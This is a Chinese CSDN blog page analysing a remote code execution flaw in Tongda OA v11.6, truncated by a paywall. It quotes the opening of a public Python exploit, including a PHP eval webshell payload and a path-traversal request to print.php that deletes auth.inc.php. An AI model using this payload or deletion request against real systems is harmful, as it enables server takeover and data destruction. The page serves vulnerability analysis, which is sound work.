通达OA v11.6 RCE漏洞分析

最新推荐文章于 2024-07-10 08:07:26 发布

「已注销」

最新推荐文章于 2024-07-10 08:07:26 发布

阅读量1.5k

点赞数 3

分类专栏：代码审计文章标签： web 安全 php

本文链接：https://blog.csdn.net/z1feiyu/article/details/108105816

版权

本文详细分析了通达OA v11.6的远程代码执行（RCE）漏洞，包括如何通过exp复现删除webroot/inc/auth.inc.php文件，利用file_exists函数的漏洞实现文件删除和任意文件上传，以及这两个漏洞如何结合形成最终的RCE。参考链接提供了更多关于file_exists特性的绕过策略。

摘要由CSDN通过智能技术生成

hvv爆出rce按照网上exp进行复现成功获取shell，复现方式自行搜索（很多）
比较好奇为什么要删除文件
这里从exp着手分析

import requests
 
target="http://10.6.6.91:7890/"
payload="<?php eval($_POST['z1feiyu']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")
 
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

「已注销」

关注关注

3
点赞
踩
0

收藏

觉得还不错? 一键收藏
1
评论
通达OA v11.6 RCE漏洞分析

hvv爆出rce按照网上exp进行复现成功获取shell，复现方式自行搜索（很多）比较好奇为什么要删除文件这里从exp着手分析import requests target="http://192.168.159.137:8080/"payload="<?php eval($_POST['agan']);?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
复制链接

扫一扫